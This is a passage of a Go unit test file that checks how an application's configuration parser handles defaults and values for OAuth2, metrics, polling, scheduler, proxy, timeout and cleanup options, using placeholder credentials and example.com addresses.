'secret123'\")\n\t}\n}\n\nfunc TestMetricsUsernameOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MetricsUsername() != \"\" {\n\t\tt.Fatalf(\"Expected METRICS_USERNAME to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"METRICS_USERNAME=metrics_user\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MetricsUsername() != \"metrics_user\" {\n\t\tt.Fatalf(\"Expected METRICS_USERNAME to be 'metrics_user'\")\n\t}\n}\n\nfunc TestOAuth2ClientIDOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2ClientID() != \"\" {\n\t\tt.Fatalf(\"Expected OAUTH2_CLIENT_ID to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_CLIENT_ID=client123\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2ClientID() != \"client123\" {\n\t\tt.Fatalf(\"Expected OAUTH2_CLIENT_ID to be 'client123'\")\n\t}\n}\n\nfunc TestOAuth2ClientSecretOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2ClientSecret() != \"\" {\n\t\tt.Fatalf(\"Expected OAUTH2_CLIENT_SECRET to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_CLIENT_SECRET=secret456\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2ClientSecret() != \"secret456\" {\n\t\tt.Fatalf(\"Expected OAUTH2_CLIENT_SECRET to be 'secret456'\")\n\t}\n}\n\nfunc TestOAuth2OIDCDiscoveryEndpointOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2OIDCDiscoveryEndpoint() != \"\" {\n\t\tt.Fatalf(\"Expected OAUTH2_OIDC_DISCOVERY_ENDPOINT to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_OIDC_DISCOVERY_ENDPOINT=https://example.com/.well-known/openid_configuration\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2OIDCDiscoveryEndpoint() != \"https://example.com/.well-known/openid_configuration\" {\n\t\tt.Fatalf(\"Expected OAUTH2_OIDC_DISCOVERY_ENDPOINT to be 'https://example.com/.well-known/openid_configuration'\")\n\t}\n}\n\nfunc TestOAuth2OIDCProviderNameOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2OIDCProviderName() != \"OpenID Connect\" {\n\t\tt.Fatalf(\"Expected OAUTH2_OIDC_PROVIDER_NAME to be 'OpenID Connect' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_OIDC_PROVIDER_NAME=My Provider\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2OIDCProviderName() != \"My Provider\" {\n\t\tt.Fatalf(\"Expected OAUTH2_OIDC_PROVIDER_NAME to be 'My Provider'\")\n\t}\n}\n\nfunc TestOAuth2ProviderOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2Provider() != \"\" {\n\t\tt.Fatal(\"Expected OAUTH2_PROVIDER to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_PROVIDER=google\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2Provider() != \"google\" {\n\t\tt.Fatal(\"Expected OAUTH2_PROVIDER to be 'google'\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_PROVIDER=oidc\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2Provider() != \"oidc\" {\n\t\tt.Fatal(\"Expected OAUTH2_PROVIDER to be 'oidc'\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_PROVIDER=invalid\"}); err == nil {\n\t\tt.Fatal(\"Expected error for invalid OAUTH2_PROVIDER value\")\n\t}\n}\n\nfunc TestOAuth2RedirectURLOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2RedirectURL() != \"\" {\n\t\tt.Fatalf(\"Expected OAUTH2_REDIRECT_URL to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_REDIRECT_URL=https://example.com/callback\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2RedirectURL() != \"https://example.com/callback\" {\n\t\tt.Fatalf(\"Expected OAUTH2_REDIRECT_URL to be 'https://example.com/callback'\")\n\t}\n}\n\nfunc TestOAuth2UserCreationOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.OAuth2UserCreation() {\n\t\tt.Fatal(\"Expected OAUTH2_USER_CREATION to be disabled by default\")\n\t}\n\n\tif configParser.options.IsOAuth2UserCreationAllowed() {\n\t\tt.Fatal(\"Expected OAUTH2_USER_CREATION to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_USER_CREATION=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.OAuth2UserCreation() {\n\t\tt.Fatal(\"Expected OAUTH2_USER_CREATION to be enabled\")\n\t}\n\n\tif !configParser.options.IsOAuth2UserCreationAllowed() {\n\t\tt.Fatal(\"Expected OAUTH2_USER_CREATION to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"OAUTH2_USER_CREATION=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.OAuth2UserCreation() {\n\t\tt.Fatal(\"Expected OAUTH2_USER_CREATION to be disabled\")\n\t}\n\n\tif configParser.options.IsOAuth2UserCreationAllowed() {\n\t\tt.Fatal(\"Expected OAUTH2_USER_CREATION to be disabled\")\n\t}\n}\n\nfunc TestPollingLimitPerHostOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.PollingLimitPerHost() != 0 {\n\t\tt.Fatalf(\"Expected POLLING_LIMIT_PER_HOST to be 0 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"POLLING_LIMIT_PER_HOST=5\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.PollingLimitPerHost() != 5 {\n\t\tt.Fatalf(\"Expected POLLING_LIMIT_PER_HOST to be 5\")\n\t}\n}\n\nfunc TestPollingParsingErrorLimitOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.PollingParsingErrorLimit() != 3 {\n\t\tt.Fatalf(\"Expected POLLING_PARSING_ERROR_LIMIT to be 3 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"POLLING_PARSING_ERROR_LIMIT=5\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.PollingParsingErrorLimit() != 5 {\n\t\tt.Fatalf(\"Expected POLLING_PARSING_ERROR_LIMIT to be 5\")\n\t}\n}\n\nfunc TestPollingSchedulerOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.PollingScheduler() != \"round_robin\" {\n\t\tt.Fatalf(\"Expected POLLING_SCHEDULER to be 'round_robin' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"POLLING_SCHEDULER=entry_frequency\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.PollingScheduler() != \"entry_frequency\" {\n\t\tt.Fatalf(\"Expected POLLING_SCHEDULER to be 'entry_frequency'\")\n\t}\n}\n\nfunc TestPortOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.Port() != \"\" {\n\t\tt.Fatalf(\"Expected PORT to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"PORT=1234\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.Port() != \"1234\" {\n\t\tt.Fatalf(\"Expected PORT to be '1234'\")\n\t}\n\n\taddresses := configParser.options.ListenAddr()\n\tif len(addresses) != 1 || addresses[0] != \":1234\" {\n\t\tt.Fatalf(\"Expected LISTEN_ADDR to be ':1234'\")\n\t}\n}\n\nfunc TestRunMigrationsOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.RunMigrations() {\n\t\tt.Fatalf(\"Expected RUN_MIGRATIONS to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"RUN_MIGRATIONS=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.RunMigrations() {\n\t\tt.Fatalf(\"Expected RUN_MIGRATIONS to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"RUN_MIGRATIONS=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.RunMigrations() {\n\t\tt.Fatalf(\"Expected RUN_MIGRATIONS to be disabled\")\n\t}\n}\n\nfunc TestSchedulerEntryFrequencyFactorOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.SchedulerEntryFrequencyFactor() != 1 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ENTRY_FREQUENCY_FACTOR to be 1 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"SCHEDULER_ENTRY_FREQUENCY_FACTOR=2\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.SchedulerEntryFrequencyFactor() != 2 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ENTRY_FREQUENCY_FACTOR to be 2\")\n\t}\n}\n\nfunc TestYouTubeEmbedUrlOverrideOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\t// Test default value\n\tif configParser.options.YouTubeEmbedUrlOverride() != \"https://www.youtube-nocookie.com/embed/\" {\n\t\tt.Fatal(\"Expected YOUTUBE_EMBED_URL_OVERRIDE to have default value\")\n\t}\n\n\tif configParser.options.YouTubeEmbedDomain() != \"www.youtube-nocookie.com\" {\n\t\tt.Fatal(\"Expected YOUTUBE_EMBED_DOMAIN to be 'www.youtube-nocookie.com' by default\")\n\t}\n\n\t// Test custom value\n\tif err := configParser.parseLines([]string{\"YOUTUBE_EMBED_URL_OVERRIDE=https://custom.youtube.com/embed/\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.YouTubeEmbedUrlOverride() != \"https://custom.youtube.com/embed/\" {\n\t\tt.Fatal(\"Expected YOUTUBE_EMBED_URL_OVERRIDE to be 'https://custom.youtube.com/embed/'\")\n\t}\n\n\tif configParser.options.YouTubeEmbedDomain() != \"custom.youtube.com\" {\n\t\tt.Fatal(\"Expected YOUTUBE_EMBED_DOMAIN to be 'custom.youtube.com'\")\n\t}\n\n\t// Test empty value resets to default\n\tconfigParser = NewConfigParser()\n\tif err := configParser.parseLines([]string{\"YOUTUBE_EMBED_URL_OVERRIDE=\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.YouTubeEmbedUrlOverride() != \"https://www.youtube-nocookie.com/embed/\" {\n\t\tt.Fatal(\"Expected YOUTUBE_EMBED_URL_OVERRIDE to have default value\")\n\t}\n\n\t// Test invalid value\n\tconfigParser = NewConfigParser()\n\tif err := configParser.parseLines([]string{\"YOUTUBE_EMBED_URL_OVERRIDE=http://example.com/%\"}); err == nil {\n\t\tt.Fatal(\"Expected error for invalid YOUTUBE_EMBED_URL_OVERRIDE\")\n\t}\n}\n\nfunc TestCleanupArchiveReadIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CleanupArchiveReadInterval().Hours() != 24*60 {\n\t\tt.Fatalf(\"Expected CLEANUP_ARCHIVE_READ_DAYS to be 60 days by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CLEANUP_ARCHIVE_READ_DAYS=30\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CleanupArchiveReadInterval().Hours() != 24*30 {\n\t\tt.Fatalf(\"Expected CLEANUP_ARCHIVE_READ_DAYS to be 30 days\")\n\t}\n}\n\nfunc TestCleanupArchiveUnreadIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CleanupArchiveUnreadInterval().Hours() != 24*180 {\n\t\tt.Fatalf(\"Expected CLEANUP_ARCHIVE_UNREAD_DAYS to be 180 days by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CLEANUP_ARCHIVE_UNREAD_DAYS=90\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CleanupArchiveUnreadInterval().Hours() != 24*90 {\n\t\tt.Fatalf(\"Expected CLEANUP_ARCHIVE_UNREAD_DAYS to be 90 days\")\n\t}\n}\n\nfunc TestCleanupFrequencyOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CleanupFrequency().Hours() != 24 {\n\t\tt.Fatalf(\"Expected CLEANUP_FREQUENCY_HOURS to be 24 hours by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CLEANUP_FREQUENCY_HOURS=12\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CleanupFrequency().Hours() != 12 {\n\t\tt.Fatalf(\"Expected CLEANUP_FREQUENCY_HOURS to be 12 hours\")\n\t}\n}\n\nfunc TestCleanupRemoveSessionsIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CleanupRemoveSessionsInterval().Hours() != 24*30 {\n\t\tt.Fatalf(\"Expected CLEANUP_REMOVE_SESSIONS_DAYS to be 30 days by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CLEANUP_REMOVE_SESSIONS_DAYS=14\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CleanupRemoveSessionsInterval().Hours() != 24*14 {\n\t\tt.Fatalf(\"Expected CLEANUP_REMOVE_SESSIONS_DAYS to be 14 days\")\n\t}\n}\n\nfunc TestDatabaseConnectionLifetimeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DatabaseConnectionLifetime().Minutes() != 5 {\n\t\tt.Fatalf(\"Expected DATABASE_CONNECTION_LIFETIME to be 5 minutes by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DATABASE_CONNECTION_LIFETIME=10\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DatabaseConnectionLifetime().Minutes() != 10 {\n\t\tt.Fatalf(\"Expected DATABASE_CONNECTION_LIFETIME to be 10 minutes\")\n\t}\n}\n\nfunc TestForceRefreshIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.ForceRefreshInterval().Minutes() != 30 {\n\t\tt.Fatalf(\"Expected FORCE_REFRESH_INTERVAL to be 30 minutes by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FORCE_REFRESH_INTERVAL=15\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.ForceRefreshInterval().Minutes() != 15 {\n\t\tt.Fatalf(\"Expected FORCE_REFRESH_INTERVAL to be 15 minutes\")\n\t}\n}\n\nfunc TestHTTPClientProxiesOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HasHTTPClientProxiesConfigured() {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_PROXIES to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTP_CLIENT_PROXIES=proxy1.example.com:8080,proxy2.example.com:8080\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.HasHTTPClientProxiesConfigured() {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_PROXIES to be configured\")\n\t}\n\n\tproxies := configParser.options.HTTPClientProxies()\n\tif len(proxies) != 2 || proxies[0] != \"proxy1.example.com:8080\" || proxies[1] != \"proxy2.example.com:8080\" {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_PROXIES to contain two proxies\")\n\t}\n}\n\nfunc TestHTTPClientProxyOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HTTPClientProxyURL() != nil {\n\t\tt.Fatal(\"Expected HTTP_CLIENT_PROXY to be nil by default\")\n\t}\n\n\tif configParser.options.HasHTTPClientProxyURLConfigured() {\n\t\tt.Fatal(\"Expected HAS_HTTP_CLIENT_PROXY to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTP_CLIENT_PROXY=http://proxy.example.com:8080\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tproxyURL := configParser.options.HTTPClientProxyURL()\n\tif proxyURL == nil || proxyURL.String() != \"http://proxy.example.com:8080\" {\n\t\tt.Fatal(\"Expected HTTP_CLIENT_PROXY to be 'http://proxy.example.com:8080'\")\n\t}\n\n\tif !configParser.options.HasHTTPClientProxyURLConfigured() {\n\t\tt.Fatal(\"Expected HAS_HTTP_CLIENT_PROXY to be enabled\")\n\t}\n}\n\nfunc TestHTTPClientTimeoutOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HTTPClientTimeout().Seconds() != 20 {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_TIMEOUT to be 20 seconds by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTP_CLIENT_TIMEOUT=30\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.HTTPClientTimeout().Seconds() != 30 {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_TIMEOUT to be 30 seconds\")\n\t}\n}\n\nfunc TestFetcherAllowPrivateNetworksOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.FetcherAllowPrivateNetworks() {\n\t\tt.Fatalf(\"Expected FETCHER_ALLOW_PRIVATE_NETWORKS to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCHER_ALLOW_PRIVATE_NETWORKS=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.FetcherAllowPrivateNetworks() {\n\t\tt.Fatalf(\"Expected FETCHER_ALLOW_PRIVATE_NETWORKS to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCHER_ALLOW_PRIVATE_NETWORKS=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.FetcherAllowPrivateNetworks() {\n\t\tt.Fatalf(\"Expected FETCHER_ALLOW_PRIVATE_NETWORKS to be disabled\")\n\t}\n}\n\nfunc TestIntegrationAllowPrivateNetworksOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.IntegrationAllowPrivateNetworks() {\n\t\tt.Fatalf(\"Expected INTEGRATION_ALLOW_PRIVATE_NETWORKS to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"INTEGRATION_ALLOW_PRIVATE_NETWORKS=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.IntegrationAllowPrivateNetworks() {\n\t\tt.Fatalf(\"Expected INTEGRATION_ALLOW_PRIVATE_NETWORKS to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"INTEGRATION_ALLOW_PRIVATE_NETWORKS=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.IntegrationAllowPrivateNetworks() {\n\t\tt.Fatalf(\"Expected INTEGRATION_ALLOW_PRIVATE_NETWORKS to be disabled\")\n\t}\n}\n\nfunc TestHTTPServerTimeoutOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HTTPServerTimeout().Seconds() != 300 {\n\t\tt.Fatal(\"Expected HTTP_SERVER_TIMEOUT to be 300 seconds by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTP_SERVER_TIMEOUT=60\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.HTTPServerTimeout().Seconds() != 60 {\n\t\tt.Fatal(\"Expected HTTP_SERVER_TIMEOUT to be 60 seconds\")\n\t}\n}\n\nfunc TestListenAddrOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\taddrs := configParser.options.ListenAddr()\n\tif len(addrs) != 1 || addrs[0] != \"127.0.0.1:8080\" {\n\t\tt.Fatalf(\"Expected LISTEN_ADDR to be '127.0.0.1:8080' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"LISTEN_ADDR=0.0.0.0:8080,127.0.0.1:8081,/unix.socket\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\taddrs = configParser.options.ListenAddr()\n\tif len(addrs) != 3 || addrs[0] != \"0.0.0.0:8080\" || addrs[1] != \"127.0.0.1:8081\" || addrs[2] != \"/unix.socket\" {\n\t\tt.Fatalf(\"Expected LISTEN_ADDR to contain two addresses\")\n\t}\n}\n\nfunc TestMediaCustomProxyURLOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MediaCustomProxyURL() != nil {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_CUSTOM_URL to be nil by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MEDIA_PROXY_CUSTOM_URL=https://proxy.example.com\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tproxyURL := configParser.options.MediaCustomProxyURL()\n\tif proxyURL == nil || proxyURL.String() != \"https://proxy.example.com\" {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_CUSTOM_URL to be 'https://proxy.example.com'\")\n\t}\n}\n\nfunc TestMediaProxyHTTPClientTimeoutOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MediaProxyHTTPClientTimeout().Seconds() != 120 {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_HTTP_CLIENT_TIMEOUT to be 120 seconds by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MEDIA_PROXY_HTTP_CLIENT_TIMEOUT=60\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MediaProxyHTTPClientTimeout().Seconds() != 60 {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_HTTP_CLIENT_TIMEOUT to be 60 seconds\")\n\t}\n}\n\nfunc TestMediaProxyPrivateKeyOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif len(configParser.options.MediaProxyPrivateKey()) != 0 {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_PRIVATE_KEY to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MEDIA_PROXY_PRIVATE_KEY=secret123\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tprivateKey := configParser.options.MediaProxyPrivateKey()\n\tif string(privateKey) != \"secret123\" {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_PRIVATE_KEY to be 'secret123'\")\n\t}\n}\n\nfunc TestMediaProxyResourceTypesOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tresourceTypes := configParser.options.MediaProxyResourceTypes()\n\tif len(resourceTypes) != 1 || resourceTypes[0] != \"image\" {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_RESOURCE_TYPES to have default values\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MEDIA_PROXY_RESOURCE_TYPES=image,video\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tresourceTypes = configParser.options.MediaProxyResourceTypes()\n\tif len(resourceTypes) != 2 || resourceTypes[0] != \"image\" || resourceTypes[1] != \"video\" {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_RESOURCE_TYPES to contain image and video\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MEDIA_PROXY_RESOURCE_TYPES=image,invalid,video\"}); err == nil {\n\t\tt.Fatal(\"Expected error due to invalid resource type\")\n\t}\n}\n\nfunc TestMetricsAllowedNetworksOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tnetworks := configParser.options.MetricsAllowedNetworks()\n\tif len(networks) != 1 || networks[0] != \"127.0.0.1/8\" {\n\t\tt.Fatalf(\"Expected METRICS_ALLOWED_NETWORKS to have default values\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"METRICS_ALLOWED_NETWORKS=10.0.0.0/8,192.168.0.0/16\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tnetworks = configParser.options.MetricsAllowedNetworks()\n\tif len(networks) != 2 || networks[0] != \"10.0.0.0/8\" || networks[1] != \"192.168.0.0/16\" {\n\t\tt.Fatalf(\"Expected METRICS_ALLOWED_NETWORKS to contain specified networks\")\n\t}\n}\n\nfunc TestMetricsRefreshIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MetricsRefreshInterval().Seconds() != 60 {\n\t\tt.Fatalf(\"Expected METRICS_REFRESH_INTERVAL to be 60 seconds by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"METRICS_REFRESH_INTERVAL=120\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MetricsRefreshInterval().Seconds() != 120 {\n\t\tt.Fatalf(\"Expected METRICS_REFRESH_INTERVAL to be 120 seconds\")\n\t}\n}\n\nfunc TestPollingFrequencyOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.PollingFrequency().Minutes() != 60 {\n\t\tt.Fatalf(\"Expected POLLING_FREQUENCY to be 60 minutes by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"POLLING_FREQUENCY=30\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.PollingFrequency().Minutes() != 30 {\n\t\tt.Fatalf(\"Expected POLLING_FREQUENCY to be 30 minutes\")\n\t}\n}\n\nfunc TestSchedulerEntryFrequencyMaxIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.SchedulerEntryFrequencyMaxInterval().Hours() != 24 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL to be 24 hours by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL=720\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.SchedulerEntryFrequencyMaxInterval().Hours() != 12 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL to be 12 hours\")\n\t}\n}\n\nfunc TestSchedulerEntryFrequencyMinIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.SchedulerEntryFrequencyMinInterval().Minutes() != 5 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL to be 5 minutes by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL=10\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.SchedulerEntryFrequencyMinInterval().Minutes() != 10 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL to be 10 minutes\")\n\t}\n}\n\nfunc TestSchedulerRoundRobinMaxIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.SchedulerRoundRobinMaxInterval().Hours() != 24 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ROUND_ROBIN_MAX_INTERVAL to be 24 hours by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"SCHEDULER_ROUND_ROBIN_MAX_INTERVAL=60\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.SchedulerRoundRobinMaxInterval().Hours() != 1 {\n\t\tt.Fatalf(\"Expected SCHEDULER_ROUND_ROBIN_MAX_INTERVAL to be 1 hour\")\n\t}\n}\n\nfunc TestSchedulerRoundRobinMinIntervalOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.SchedulerRoundRobinMinInterval().Minutes() != 60 {\n\t\tt.Fatalf(\"Expected 